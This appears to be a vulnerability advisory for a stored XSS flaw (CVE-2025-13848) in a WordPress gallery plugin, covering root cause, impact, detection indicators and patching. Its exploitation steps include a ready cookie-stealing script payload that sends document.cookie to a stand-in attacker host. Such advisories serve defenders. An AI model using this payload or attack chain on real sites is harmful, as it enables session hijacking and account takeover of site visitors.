CVE-2025-13848: 
WordPress vulnerability analysis and mitigation

CVE-2025-13848 is a Stored Cross-Site Scripting (XSS) vulnerability in the STM Gallery 1.9 plugin for WordPress. It affects all versions up to and including 0.9, and was disclosed on January 7, 2026, by Wordfence. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the composicion parameter, which then execute in the browsers of any user visiting the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from insufficient input sanitization and output escaping of the composicion parameter in the plugin's PHP code (specifically around line 121 of stmgallery_v.0.9.php). An authenticated attacker with at least Contributor-level access can submit a crafted payload through this parameter, which is then stored in the database and rendered unsanitized in page output. The attack vector is network-based, requires low privileges, and no user interaction beyond a victim visiting the injected page (Wordfence, WordPress Plugin Trac).

Successful exploitation allows injected JavaScript to execute in the context of any user's browser who visits a page containing the malicious gallery shortcode, impacting both confidentiality and integrity. Attackers could steal session cookies, redirect users to phishing sites, perform actions on behalf of victims (including administrators), or deface site content. Availability is not directly impacted, but the scope is changed — meaning the injected script can affect users beyond the attacker's own session (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-13848. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the STM Gallery 1.9 plugin (version ≤ 0.9) by checking plugin metadata or using tools like WPScan.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, to be injected via the composicion parameter.
4. Inject via Plugin Interface: Create or edit a post/page using the STM Gallery shortcode or block, inserting the malicious payload into the composicion parameter field.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected gallery, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints by Contributor-level accounts containing suspicious script tags or encoded JavaScript in the composicion parameter.
• Database: Unexpected <script> tags or JavaScript event handlers stored in the wp_posts or wp_postmeta tables associated with STM Gallery shortcode content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with STM Gallery content (indicative of data exfiltration or redirect payloads).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than written to disk.

Users should update the STM Gallery plugin to version 1.0 or later, which addresses the insufficient sanitization of the composicion parameter. As a temporary workaround, site administrators can restrict Contributor-level user registration or disable the STM Gallery plugin until a patch is applied. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Wordfence — can help block exploitation attempts (Wordfence).